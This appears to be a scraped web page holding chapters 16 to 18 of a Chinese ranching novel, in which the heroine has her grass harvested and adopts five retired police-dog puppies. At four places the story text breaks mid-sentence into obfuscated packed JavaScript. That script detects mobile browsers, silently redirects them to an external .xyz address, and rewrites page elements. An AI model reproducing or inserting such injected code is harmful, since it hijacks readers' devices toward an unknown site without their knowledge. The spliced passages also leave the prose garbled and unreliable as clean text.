姚新泉骑又着摩托车去找了艾力说的那个开收割机的师傅，跟他约好了明天一大早就过来收割。 她看过最近的天气预报了，系统如今只愿意给她播报未来五天内的天气，按系统的说法是未来五天内的天气那是他把一系列可能导致天气变化的因素全部考虑在内了之后能保证准确度的最大范围，再往后的就不能保证准确度了。 姚新泉觉得系统实在是有一点太好面子了，谁也没规定天气预报一定要百分百准确不是吗？如果一定要全部准确，那中央台可不就得少一个节目了？ 确定之后至少五天时间都是晴天，姚新泉干脆就跟师傅说好了，割好的牧草原地晾晒，也能给她省点事儿。 第二天八点多师傅就带着两个人来了，看到这个时间她有点懵，“你们这也太早了吧？这地上现在都是霜，割了也不好晾晒吧？” 师傅笑着摇头，“我们过来先把你要收割的那片地上的大块儿石头捡掉，还得把里面的动物都赶走，弄好之后差不多也就10点了，也能割了。” 姚新泉点了点头，也是，机器那么贵，万一石头卡进去把哪里弄坏了车主得心疼死。 他们去忙他们的，姚新泉检查了家里小动物们的状态后，又让玛依拉给隔离期间的羯羊、刚配好的母牛放好草料，再让玛依拉把昨天晚上回来加餐的15头要育肥的公牛赶出去，自己又给家里三个小祖宗喂好饭后，自己才来得及做饭吃。 等收拾好之后她拿了把叉子去了割草机正在工作的那片草地上，皮皮跟在后面跳着走，也不知道每天都在傻乐什么。 姚新泉很喜欢割草机收割青草时的那股味道，只觉得格外清新，一回头发现皮皮似乎也微微眯起了眼睛，她愣是从一张马脸上看出了享受！ 姚新泉觉得自己怪莫名其妙的！ 皮皮到底不喜欢割草机工作的声音，自己跑出去玩了，姚新泉也懒得管她，拿了把叉子把割好的牧草摊开来。 跟着司机师傅一起来的好像是他媳妇儿跟女儿，两人也都在摊开牧草方便晾晒。 哪怕如今温度不是很高了，但是太阳依旧很晒，姚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502089|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新泉把头跟脖子全都包了起来，两人本来还想跟她说话呢，但是见姚新泉这样便也识趣儿地没再搭话了。 姚新泉知道这边不少人都对她挺好奇的，她爸妈在本县里就算称不上风云人物也是有两分名气的。如今人英年早逝，留下一个年龄不大的独女。现在一个二十出头的小姑娘要独自经营这么大一家牧场，虽说现在还看不出个好赖来，但看着觉得做事风风火火的，就算有想打她主意的人一时半刻也不敢冒头。 忙了一上午，这一家子带了午饭，打算就着馕对付一顿，尽量今明两天给她割完。 “师傅，你是汉族对吧？”姚新泉确认了一下，见几人点头她也没说什么就回去了。 没过多久她拿弄了一盆西红柿辣椒炒鸡蛋，切了半根香肠，拌了两根黄瓜，又提了一壶热水回来，“家里没什么好东西了，你们凑合着吃一顿吧？”她也没凑过去一起吃，把东西放下就回去了。 “她是怕咱们要吃清真的啊？”司机的媳妇儿这才反应过来，忍不住笑了一下，“丫头子年龄不大，做事儿倒挺招人喜欢的！” 她给自己倒了一碗热水，喝下去后觉得人都舒坦了，“回头咱们出去干活也拎一壶热水吧，这太阳虽然晒着，但是感觉骨头还是冷得！” 师傅点了点头，拿起馕咬了一口又吃了一筷子鸡蛋，“行了好好吃饭，下午给人好好干！” 晚上几人要走的时候姚新泉喊了一声，“我明天得去市里一趟，玛依拉在这边，你们有什么需要跟她说就成！” 几人应得很爽快，有个人家自己人也好，不然万一有什么瓜田李下的说不清楚，反倒是两边都难受。 第二天一早姚新泉换了件浅蓝色的衬衣，下摆扎进了一条直筒牛仔裤里，整个人看起来腿又直又长。她净身高就有170，身材比例也好，头还小，就算不提长相，光看身材气质回头率也很高，更不要说姚新泉的长相疏朗大气，高高的马尾一扎看起来又精神又好看。 艾力见到她这般模样也没忍住多看了两眼，“就是嘛，小姑娘就该打扮起来，谁说牧民就得灰扑扑的了？” 姚新泉无奈，“我难道穿着这个颜色的衬衣去铲牛粪？” 艾力移开了目光不说话了。 县里到市里是有班车的，两人就是去赶的11点半的那趟，等到了市里车站差不多1点，“基地离车站还有一个小时左右的路程，咱们到了车站先吃个饭，基地那边屁都没有”。 艾力满是怨念，当初他第一次去找他哥的时候就是在市里没吃，基地的饭点儿也过了，他哥一个大男人也没个零食之类的，他就饿了一天。 姚新泉自然没意见，等两人一路晃荡到基地的时候已经快三点了，保安跟迪力夏提说他弟弟来了的时候，迪力夏提睡得正香呢，去接人的时候人都是懵的，迷迷糊糊签字把两人领了进来。 艾力知道他哥是啥样的，也懒得理他，就让他继续睡，自己带着姚新泉在基地允许外人进入的地方转悠。 “这书我能看吗？”姚新泉指着一本《毛皮动物养殖技术》的书问道。 不等艾力回答，一旁倒是出现了另一道声音，“这书都是公开的，你想看就能看”。 姚新泉看过去后人愣了一下，“楼宇？你怎么在这？” 16. 第 16 章 楼宇脸上也很是激动，他怎么也没想到在这里能碰到姚新泉，脸上满是故友重逢的喜悦，“我就在这儿上班啊！我还没问你怎么在这儿呢？小陆出国前跟我打了一次电话说你在上海进了一家什么外企，估计以后就留在上海了。我当时还想，好家伙，咱们高中的铁三角一个在外企，一个去了国外，只有我回来了。你怎么也回来了？什么时候回来的？来玩儿的吗？你真是，你也不跟我说一声！” 姚新泉笑得很是无奈，“你还跟以前一样，话密得不行！” 楼宇哈哈一笑，“你还没说呢！” 姚新泉叹气，“家里出了点事情，我从上海辞职回来了，以后就在我们县开牧场了。” 这话里信息量太大了，开牧场？“不是，我知道你家就是开牧场的，可你这？”楼宇皱起了眉毛，姚新泉高中的时候不大爱说话，人家都说她是高岭之花，如果不是他跟陆颜两人是那种自来熟的性子，三人也不可能在一起一玩儿就是三年。 这朵高岭之花如今要回来当牧民了？ 倒不是瞧不上当牧民，只是总觉得她就应该待在那种大城市的写字楼里，穿着那些他只在电视里见过的老贵的衣服，背着老贵的包包，在那边工作生活，牧民？楼宇觉得有点魔幻。 可当他的目光落在姚新泉胳膊上孝之后脸上的笑意顿了顿，他想问什么张了几次嘴都没说出来，倒是姚新泉注意到之后轻声道，“我父母意外离世了。” “节哀”，楼宇缓缓吐出一口气，一时间不知道说些什么了，姚新泉只是点了点头。 气氛一时有些尴尬，楼宇赶忙换了话题，“我现在就在公安局呢，今天下午不是有一批淘汰的警犬要处理吗，我来盯一下这个事情，给他们找个好归宿。” 姚新泉眼睛亮了，赶忙说明自己的来意，“我就是想领养啊，因为你们这都是兄弟单位内部处理，我们小老百姓只好托了朋友帮忙进来了”，姚新泉苦笑，然后给他介绍了艾力兽医。 两人握了握手，“你想领养几条呢？今天淘汰的我记得是有七条狗，其中有两条已经被内定了，就是我们单位的两位同志，那狗本来也是他们从小看到大的，也舍不得让人领去，剩下的五条如今还没确定花落谁家呢，你想要几条？” 姚新泉想了想最终还是道，“我讲实话，如果狗没问题，我可以养五条”，说完自己都笑了起来，楼宇也笑，还以为她在开玩笑呢。 不想姚新泉笑完接着到，“我没跟你开玩笑，我爸妈承包了四千亩牧场，这牧场规模在我们县里基本算是最大的了，如今牧场上的牲畜远远没有饱和。” “但现在牧场上主要劳动力加我也就三个，那一对夫妻是我可以信任的人，不过雇人我是真的还挺有顾虑的”。 姚新泉是真的细细考虑过这个事情的，马合木提江夫妻俩的工资是每个月280块，住他们自己解决，吃得要得自家提供，这样算下来一个月最起码得350块左右，两个人的成本就是700块，一年可就八千多了，她卖的第一波羊毛可也就1700块啊！ 万一再有个病了痛了的，不说感情方面，就算只是单纯的作为老板，她能看着不管？这看病到了什么时候都是要费钱的。 不过雇人也有雇人的好处，毕竟人更灵活，而且夫妻俩也有很多放牧养殖的经验，能给她省不少心。 况且不说别的，将来给牛挤奶，就算用电动挤奶器，也逃不开人啊！ 用牧羊犬也有牧羊犬的好处，除了前期投入之外，也仅仅需要饲养成本而已。不提今天的淘汰警犬，像是点点那可是零元购呢！ 而且也没工资成本，这生了病等自己学了兽医技术之后还能自己解决，又少了一项开支！ 犬类可是人类最好的朋友，忠诚可靠，不会背叛她。 但问题也有，难训练啊！ 可这对她来说不算太大的难题啊！系统可是给了她金手指的！双向感知力开玩笑的？ 另外就是牧羊犬可能没办法面对一些突发状况，不过姚新泉很想得开，就算雇人就一定可以避免吗？未必吧？ 所以牧羊犬肯定还是要多养的！ “我牧场上现在牲畜加起来将近700只，以后规模肯定还得扩大”，姚新泉想养的东西有很多很多，除了现有的牛羊马之外，将来还可能引进一些鸡鸭鹅或者别的品种的牛羊马甚至是可以在草原上散养的猪之类的，算下来五条加点点可真不一定够！ 楼宇有点儿被她的大手笔吓到了，不过在确定她真的想要之后楼宇拍了下大腿，“成，我帮你去说说，你这有经济条件，又爱小动物，又有大牧场供他们跑啊跳啊，我觉得你这条件比人家好！” 艾力也在一旁点头，“我让我哥也帮你说说，只要那些狗好，你全拿下来也没问题！” 楼宇想了想又放低了声音给她透底，“其实我们兄弟单位都不是特别想接收了”，他不好意思地笑了笑，这隔一段时间让你接收一批，隔一段时间来一批，哪有那么多人想养狗啊？ “你主动购买也算是给咱们解决问题呢！价格我估计不会降低太多，毕竟是国家财产，别的我帮你去探探话！”说完不等姚新泉说话自己就溜了。 “你这朋友风风火火的”，艾力笑道。 可不是嘛，姚新泉想起从前的高中生活眼中闪过一丝怀念，陆颜那个臭丫头上次说出国之后可能就留在那边不回来了，唉！也不知道国外到底哪里好了！ 她进外企是因为待遇好，但就算国外有比国内好的条件她也不乐意去，她的根就在这边啊！ 楼宇不算是警犬基地的人，但是他那个性子跟谁都说得上话，基地领导被他磨得不行，直瞪他，“咱们之前可没往外卖过，能给她通融都不错了还挑这挑那的！” 楼宇笑嘻嘻的，“主任你这话不能这样说，人家也是来给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502090|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱解决问题的不是？或者你往上打打报告，看以后能不能正式有偿往外领养，光咱们兄弟单位真吃不下这么多宝贝疙瘩啊！就特警那个老刘，他是个爱狗的，又不忍心，结果年年往回领，上次我在小区里就见到他妈一人被三条狗牵着往前跑，老太太跟在后头撒丫子追，鞋都要跑掉了，看得可怜的，你说说主任，这真是……” 基地主任被他那表情都给气笑了，他们可没逼谁领养，别搞的好像他们强买强卖一样！这不是之前没有向社会大众去开放领养的规定吗？ “老子等这次弄完我就向上打报告，以后我们就面向社会大众去开放领养通道，既保证咱们这些宝贝疙瘩能找到真正的爱狗人士，也能让想养接受过训练的好狗却没有门道的人士能有机会接触到咱们家宝贝疙瘩！同时也堵上某些人的嘴，别觉得好想咱家宝贝疙瘩没人要被人嫌弃了一样！” 说着他还瞥了瞥楼宇，楼宇就装啥都没看到继续笑嘻嘻。 “行了，你出去跟她说，她要是要的多我们基地给她送回她家牧场，再给送半个月的口粮，那可是我们上级单位专门研发的专业狗粮，她回去掺着喂，也能让咱家宝贝疙瘩的肠胃适应适应。日后有关于警犬的问题也能直接来找咱，咱还给售后怎么样？” 他没好气地白了楼宇一眼，“但是钱不能少，每一只200块，你出去问吧！”要不是他知道这次兄弟单位一个人都没来，他才不会搞的跟求人一样呢！ 都不愿意要是吧，以后这个内部通道还不开了呢！想要狗那就去跟社会人士去抢吧！老子搞个竞价，价高者得，气死你们！ 今天的你对我爱答不理，明天的我让你高攀不起！哼！ 楼宇出去讲了领导的意思之后，艾力还有点儿顾虑，他让姚新泉别急的回复，拉着她去找睡得跟昏迷了一样的迪力夏提，“哥，你们还没定下的五条狗确定没有攻击性特别强的吧？” 迪力夏提眼睛都没睁开就在那摇头，见状艾力这才松了口气，别的有什么毛病都好说，顶多就是不热爱工作呗！但攻击性强的就算给再多赠品都不行！ 谁知道会不会咬主人啊？ 他那里可没办法给姚新泉打人用狂犬疫苗！ 确定好了最重要的之后艾力就不拦着她了，倒是姚新泉反而没有一口答应，“我能先去看看吗？” 楼宇都没问人就自己答应下来带着他们往外走去犬舍，边走边道，“这五只小家伙年龄都不大，也就半岁左右，最大的好像也才八个月，最小的就四个月，都是过了初筛的优秀犬种，本身身体没有任何问题，也没有太大的性格缺陷。这个年龄你带回去跟牛羊接触接触我觉得应该还好训练。” “五条犬中有两条比较特殊，一条是我们系统里的同志们前些年才用德牧培育出来的昆明犬，剩下的有三条德牧以及一条罗纳威犬”，楼宇自己都在心里叹气，罗纳威好像不能做牧羊犬吧？能吗？ 17. 第 17 章 姚新泉也在想这个问题，昆明犬和罗纳威犬能做牧羊犬吗？ 昆明犬可能还好一点，毕竟本身就是通过德牧去繁育的，也许他们本身基因里会携带一些牧羊的习惯？ 至于罗纳威的话姚新泉就更头痛了，这种狗她曾经见人养过，老大一只，甭管它本身有没有攻击人的想法，但是往那儿一站都让人肝儿颤，最重要的是这家伙本来就是烈性犬，谁都不怀疑它要是真想攻击人会咬不死人。 罗纳威更多的是用于护卫犬，而不是用于牧羊。它们可以驱赶牲畜，但是更多的出于保护主人财产的目的，而不是放牧的目的，这种相对精细一点儿的活还真有点担心罗纳威干不来。 但是从一个方面想，她家牧场到底也是在山里，夏天也就罢了，山里不缺食物，但等到了冬天，因为牲畜全部圈养，马合木提江他们夫妻俩不用去放羊，按照姚爸当初的设想是大雪封山的那几个月他们也可以在家休息，家里的动物饲养就由他们夫妻俩自己照料。 姚新泉到目前为止没有改变这个想法，毕竟如果让他们来牧场工作的话，正常情况肯定是需要他们住在附近的。住哪里？再另外给他们盖个房子？或者是住在姚新泉爸妈原来的卧室？ 她是真不太喜欢别人入侵自己的个人空间，她想着反正冬天也没什么事情，倒不如干脆就全部自己喂养，可能每天的工作时间会比较长，但是也比窝在屋子里发霉要好吧？ 而且她如今力气大了很多，只是喂养牲畜的活儿并不会让她无力负担。 只是这样一来，整个冬天整个牧场就只有她一个人了，到时候万一有个狼群或者什么别的那不完蛋？ 这样算起来其实有个罗纳威这种大型犬，哪怕它并不擅长放牧她也愿意养着，至少心安。 想到这里姚新泉便没有再过多犹豫了，只要狗本身没什么大问题，那就都要了！ 楼宇带着两人到了犬舍，饲养员听到动静后走了过来笑着给了楼宇一拳，“你小子干脆直接调到我们单位来算了，省得你隔三差五往这儿跑！你那么喜欢咱家狗，这次不另一只回去？” 楼宇叹气，他也想啊！ “我的情况你还不知道吗？我家是县里的，现在单位还没分房，宿舍也紧张，我就先住在我大伯家了，我自己都是借宿的，难不成我还带个拖油瓶啊？” 饲养员无奈摊手，那就没办法了！ 楼宇低声跟饲养员说了姚新泉的情况，又把主任的意思说了，饲养员两眼放光地冲过来跟她握手，“姚同志你好你好，我来带你看你看下咱们犬舍的犬”，说着就把五只小狗都叫了出来。 因为长期饲养，他跟这五只都很亲近，刚想抱着一只过来介绍，就见那几只小狗像是躲障碍一样绕过他，五只一起围到了姚新泉身边，但凡长眼睛的人都能看出，这五个家伙凑过去想让她抱！ 饲养员嘿了一声，又好气又好笑，“我好歹当了你们几个月的衣食父母，你们就不能给我点儿应有的尊重吗？”几只小狗并不理他。 姚新泉本就喜欢狗，见它们热情，自己干脆盘膝坐下，这下几个家伙立马凑了上来拱她，嘴里还发出哼哼唧唧的声音，把楼宇羡慕得不行！ 饲养员见状便道，“我先跟你介绍一下它们几个的基本情况，名字就不提了，先说这只罗纳威吧，女孩儿，现在八个月大，体型非常标准，昨天测量各项数据也都很好，完全满足警犬的要求。” 艾力最开始听有罗纳威还觉得不能选，可现在见罗纳威一头扎在姚新泉怀里的样子心也痒痒的，便好奇地问道，“既然符合要求怎么又要淘汰？” 饲养员顿了一下，表情有些一言难尽，“因为胆小”，这话说出去都招人笑，那可是罗纳威啊，胆小？ 这五只狗狗里最让他担心的就是罗纳威了，毕竟想养大型犬的人肯定是看中了它身上大型犬的魅力甚至是攻击性，结果自家这个胆小。 姚新泉忍了一会儿没忍住笑了起来，她揉了揉罗纳威的耳朵，“宝贝儿，你胆小啊？” 罗纳威哼哼唧唧的模样逗得她乐得不行，也行吧，虽然说可能跟自己预期的跟狼群搏斗有点出入，但是胆小的话一般就不至于去撕咬羊群，可能好驯一点？ 见她没有再问的意思饲养员心都凉了，又继续介绍，“三只德牧里面，两只都是黑褐色的，一个男孩儿7个月大，一个女孩儿8个月大，你右手边的是男孩儿，左手边的是女孩儿”，饲养员给她指了指。 “其中男孩儿是因为毛太长了被淘汰了，女孩儿是因为耳朵竖不起来”，饲养员虽然觉得遗憾，但这也是没办法的事情，长毛不利于散热，容易藏污纳垢，这样日常维护清洁就要花更多的时间，最重要的是还有可能会影响行动，比方说缠绕上物体或者影响速度之类的。 至于耳朵立不起来就更没的说了，这可能会影响听力啊！出去执勤的时候竖耳朵的德牧也比塌耳朵的更有威慑力。另外饲养员还听说国际上有一个关于德牧的标准，那个标准里面的各项指标他也不是特别清楚，反正塌耳朵的是不满足的。 姚新泉摸了摸两只好像感觉到在说自己就有点伤心的小宝贝，又听饲养员继续道，“那只黄褐色的德牧是个男孩儿，年龄最小，现在才五个多月，他是因为有锤系血统。” “锤系血统？”，姚新泉和艾力两人齐声问道。 “就是头大”，楼宇在一边插嘴，小德牧好像知道在吐槽自己，朝他咬了一声。 两人的目光不自觉地放在了小德牧身上，果然，这小家伙体型比别的狗狗小一点，但是头可是一点不小啊！ “锤系血统德牧的灵活性和耐力可能会比别的犬只逊色，稳定性也不如别人”，楼宇又在一旁吐槽，“这小子性子还急躁，跑起来呼哧带喘的时候不小心就会脸着地。” 小德牧有些委屈地呜咽了两声，听得姚新泉心都化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502091|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，赶忙揉了揉小家伙的耳朵。 饲养员看向最后一只狼青色的狗狗，脸上表情一言难尽，“这是只昆明犬，男孩儿，七个月大，他被淘汰的原因是外抑制。” 不等几人问，楼宇便翻译了起来，“就是八卦。” 姚新泉扑哧笑了出来，“狗还会八卦？”不过有一说一好像真有点儿那个意思，饲养员指到谁说到谁的时候他都凑过去看热闹，说到自己的时候也咧着嘴像是在笑，反正参与度满分。 “这小家伙在训练过程中会被各种各样的事物所影响，一会儿去扑鸟了，一会儿去抓蝴蝶了，管都管不住。” 饲养员赶忙往回扯，“但是咱孩子潜力大啊，他基本上拼速度的时候从来都是保二争一的！” 楼宇继续拆台，“你就跟我朋友说实话吧！小家伙那是次次第二没有第一过你知道为啥吗？” 姚新泉配合地摇头，楼宇表情夸张地叹气，“因为他喜欢咬他前面那只狗狗的屁股！” 姚新泉一愣，随后跟艾力两人便都笑了起来，其实也行吧，变相来说说明孩子速度确实快啊！人家能争第一就是不争，多有个性！ 等介绍完这一群活祖宗之后饲养员自己都觉得心哇凉哇凉的，感觉它们会砸在自己手里，连将来上面不给他们拨伙食费，自己从工资里抠钱喂他们的可怜未来都设想到了，就听姚新泉道，“如果可以的话，五只我都要了！” 什么叫天籁之音？什么叫如听仙乐耳暂明？饲养员眼睛都亮了，上前两步用力握住她的手，“什么时候去办手续？我现在带你过去？” 行吧，知道你着急，但你先别急！ “之前领导说的”，她没继续往下说，不过饲养员自然知道她的意思，“你放心，该给的咱们肯定给，我们给你五只警犬半个月的狗粮，再把我们繁育基地自己研究出的最适口营养也最全面的狗粮配方给你，你回去如果有条件的话可以按照这个来喂。” 这也是他的一点私心了，希望这五个小家伙虽然没有得到编制，但是未来的生活水平不要有太大的下滑。 姚新泉自然没有意见，她养狗是为了放牧给自己做小帮手的，要是不给人家吃好喝好，这不是虐待童工吗？ “对了，我家里有一只还没满月的哈萨克牧羊犬，身体没什么问题，你看能不能也给我一个它不同时期的狗粮配方呢？” 饲养员自然没有意见，“不只是你那条狗，还有这几个家伙，他们都还没成年，我把他们目前的狗粮配方还有成年之后的狗粮配方都给你，你本来就是搞养殖的，到时候有什么情况你自己增减着来！” “如果有关于他们的事情，你随时可以来找我！而且你跟我们迪力夏提大夫的弟弟也熟悉，都是自己人，别客气！” 选不上警犬这个他确实没有办法，但是这几条狗狗也是他从小看到大的，此时唯一能做的就是给他们找一个条件好又负责的家人了！ 18. 第 18 章 等姚新泉每条狗支付了两百块，带着一大袋狗粮，牵着五条帅气逼人的狗出来时，楼宇已经在外面开了辆皮卡等着了。 “上车！基地主任跟我领导打电话借了我一下午，我给你送回去，顺道回家看看！” 饲养员刚想引导五条狗狗上车，就见姚新泉把皮卡后车厢打开，朝几个小家伙使了个手势，几个小家伙立马就往车上跳，一点儿都不带迟疑的，看得饲养员心酸。 “我把地址给你了，冬天下大雪的时候估计会封山，平时你要是想他们了欢迎你来做客，我扫榻相迎！” 两人又寒暄了几句姚新泉便上车了，饲养员看着五条小狗眼睛都红了，突然也不知是那一条先带的头，朝向他长长地叫了一声，似乎在告别又似乎在期待下一次的重逢，饲养员眼泪唰地就落了下来。 他用力地朝车厢挥手，“你们好好的，要听话！要好好工作知道吗？我有机会会去看你们的！” 车里的几人自然是听到动静了，只是谁都没有回头，未来大家都会很好的。 “你得给他们弄狗窝吧？还是让他们干脆就住羊圈？” 姚新泉早就有了打算，就算是工作犬她也不忍心几个小家伙就睡在羊圈里。 “我家不是六间房吗，有一间现在是用来做储藏间的，我会去之后就打扫出来给他们几个住。到时候房门不关，冬天给他们做一个那种厚厚的门帘子，他们不管是进出工作还是上厕所都方便。” 艾力点头，其实就算是工作犬也没有说必须得住在工作的地方，再说了她家羊圈离房子很近，只是羊圈那些在下风口，不至于有味道。 姚新泉想的更多，她打算好好驯驯他们，如果让他们有隔一段时间出去巡逻的意识，那肯定就更安全了。 “系统，我能给他们教会定点儿巡逻，并且排班吗？” “你都还没驯，你问我？” 听出系统不太高兴了，不过姚新泉也没在意，不就是刚才系统主动想提出来给几只小狗做检测和分析被她拒绝了吗？不过她还是跟系统确认了几个小家伙都很健康，也很聪明。至于检测血统之类的，她又不是搞犬只繁殖的，这些确实不重要啊？ 而且对姚新泉来说，眼缘是很重要的，这几只小家伙就很合她的眼缘。 系统在姚新泉脑袋里哼哼了半天，见她最终还是没有给自己想要的反应这才安静下来。 车开到兽医站的时候把艾力放下了，姚新泉探出头出喊道，“今天多谢你了！” 艾力摆了摆手，互相帮忙嘛！ 楼宇开着车又带着姚新泉跟狗子们去了牧场，等到了地方他的眉头就没松开，“太偏了，你自己住着太不安全了，防护网都围好了吧？” 姚新泉点头，给他倒了杯热水，楼宇接了过来，“今天来不及了，我回头哪天休息的时候过来看看，要是防护栏有问题得赶紧补救”，想到什么他又赶紧问，“你家拉电话线了吗？” 姚新泉点头又摇头，“预定好了还没来家里装。” 楼宇没好气地瞪她，“你说说都怪你自己，你回来了不跟我说，我妈不就是管这块儿的吗？你要早跟我说我跟她打个招呼你家电话保不齐都能用上了！行了，我过会儿去跟我妈说一声赶紧给你这边装上。” 另一边割草的几人正好已经割完了并且都摊开晾晒了，听到动静刚好过来，见到穿着警服的楼宇都愣了一下。 姚新泉朝几人点了点头，“是已经割完了吗？那我先去看一下。” 楼宇没跟着去，他打算把姚新泉家里的电路、用水全部都检查一遍，她一个人住着万一出了点什么事情就很麻烦。 姚新泉见那边没问题了便给几人结了账看着他们离开，回来的时候楼宇也不知道拿着从哪里翻出来的一个扳手在捣鼓着。 他拍了拍手，“行了，电跟水都没问题，我还得回家一趟就不再这多待了，回头我跟我爸说一声让下面的人注意点儿你这边的治安。我把我爸办公室电话跟我办公室电话也给你，我这边要是有什么顾不上的你跟我爸说，你也都认识，别客气！” 两人从小学开始到高中一直同班，初中的时候楼宇成绩还可以，高中之后有一阵子他迷上了看武侠小说，学习成绩一落千丈，要不是后来姚新泉拉着他在高三的时候恶补，他怎么可能考的上本地的警察学校？ 因为这个，楼宇爸妈在家里还总提到她，她的事情自己爸妈肯定不会不管的。 姚新泉没忍住轻轻抱了抱他又松开，“行了知道了，你现在话可比从前多多了啊！” 楼宇没好气地瞪她，“我现在接触的全是基层警务，天天处理一些狗屁倒灶的事情，嘴皮子都跟他们磨烂了好吧！” 到底时间紧张，他晚上还得回市里所以没说两句就走了，看着他姚新泉还挺感叹的，孩子大了啊！ 五个小家伙被她先放在了空置的一间羊圈里，等楼宇走了之后她先是把那间储藏室的东西都收了出来，有一些腾到厨房里，有些放到地窖里，剩下的基本上都扔到羊圈里去了。 等这边屋子整理好后，她又把家里的羊皮褥子拿出来了两床，在地上先铺上干草，又铺上了纸壳子，最后又铺了一层羊皮褥子。 等收拾完之后她起身看了看，嗯，虽然看起来好像挺简单甚至有点简陋，但是那羊皮褥子很是保暖跟软和，而且爸妈收拾得很干净，上面也没有异味，反正姚新泉是觉得挺好的。 收拾好后她去把几只小狗放了出来，领着他们到了这间屋子里，见几个小家伙都新奇地到处闻，姚新泉眼中也闪过一丝笑意。 “得给你们起个名字”，在基地的名字没有带出来，饲养员没提她也没问，要开始新的生活了，有个新名字也挺好的。 她看着最大只的罗威纳，想了想，“你就叫娜娜吧！好不好？”她挠了挠罗威纳的下巴，见她眯着眼睛，情绪也挺好的便知道她是愿意的。 又看向三只德牧，“长毛的叫毛毛，耳朵起不来的叫塔塔，最后一只叫大头吧！”本来想叫塌塌来着，觉得不是太好听就算了。 最后看向昆明犬，这只小家伙背上有一块儿深色的毛团看上去像个云朵，“就叫你朵朵吧！虽然是男孩子，但也能叫朵朵对吧？” 小八卦精冲进她的怀里坐着就不走了，姚新泉笑得抱着不撒手。 饲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502092|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养员说了，这批小家伙都做过驱虫也打过疫苗了，系统也说这些小家伙都很健康，不过该有的隔离还是要有的，毕竟家里还有一个没满月的小不点。 “家里还有一个弟弟叫点点，他比你们都小，以后你们要好好学本事才能教弟弟对不对？”姚新泉放低了声音听上去特别温柔，她也说不好几个小家伙能不能听懂，但是养小动物不就是这样的吗？就算听不懂，一点儿也不碍着她碎碎念啊！ “这两天你们可以先不用工作，在家里歇一歇，认一认地方”，新到家的狗狗肯定还是要隔离的，“我带你们去认一下厕所在哪里，回头你们不许在家里上厕所知道了吗？” 他挑选的狗厕所就在人厕所边上，专门给他们挖了一块儿地铺上了沙土，等领着几个小家伙到这儿之后姚新泉有些头痛，“在这里尿尿知道吗？”她强调了好几遍，刚想“嘘嘘”的时候就见朵朵抬起右后腿就来了一大滩。 随后便像是泄闸了一样，五个排着队比着来…… 姚新泉笑得不行，又表扬了几小只之后这才带着他们回了他们房间。 “你们先在家里待着，我去山下买点儿东西知道吗？”跟几个毛孩子强调了好几遍，又去跟小金雕跟点点说了一声之后她这才骑车下山，得买点儿肉，家里这几个除了皮皮全是吃肉大户。 饲养员给的配方里也是各种肉类，牛肉、羊肉、猪肉都有。如今普通老百姓餐桌上都没办法保证日日都有肉吃，可警犬们的伙食那是有公安部专门的规定制定了细则的。 虽然说地方在执行起来肯定是有区别的，可本地本就算是牧区，相较于许多地方这边吃肉要便宜很多，所以警犬的伙食平均下来每天要有500克肉左右呢！ 家里又多了几个吞金兽，姚新泉不免又琢磨起有没有什么赚钱的法子了。 牧场养殖牲畜就没有哪个是短期能得到回报的，人家身上的肉跟毛那都是一口一口吃出来的，她倒是想两天增肥20公斤，这不做梦吗？ “是不是可以养殖兔子啊？”姚新泉嘀咕着，这东西养殖周期不算长，三四个月就能出栏，现在养，1月份就能卖，到时候应该能回血一笔。 可问题也多啊！ 这养兔子在哪养？是重新盖兔圈还是用家里还未使用的羊圈？可羊圈地上那就是普通土地，兔子挖洞怎么办？ 还有货源以及到时候的销售渠道问题，难道说全朝系统伸手？ 另外冬天这边普遍零下20度左右，听系统的意思，今年可能还是个寒冬，保不齐要到零下30度了，到时候兔子会不会冻死？哪怕不冻死生长迟缓也很发愁啊？ 还有饲料的问题，家里多养了一批羯羊本身就已经有缺口了，所以她才又是买精料又是买秸秆的，这要是再养兔子又得去折腾饲料。 还有最重要的一点，她是新手养殖户啊！ 这牛羊马还没养明白呢，又去折腾别的，到时候万一哪头都不成那才真是后悔莫及呢！ 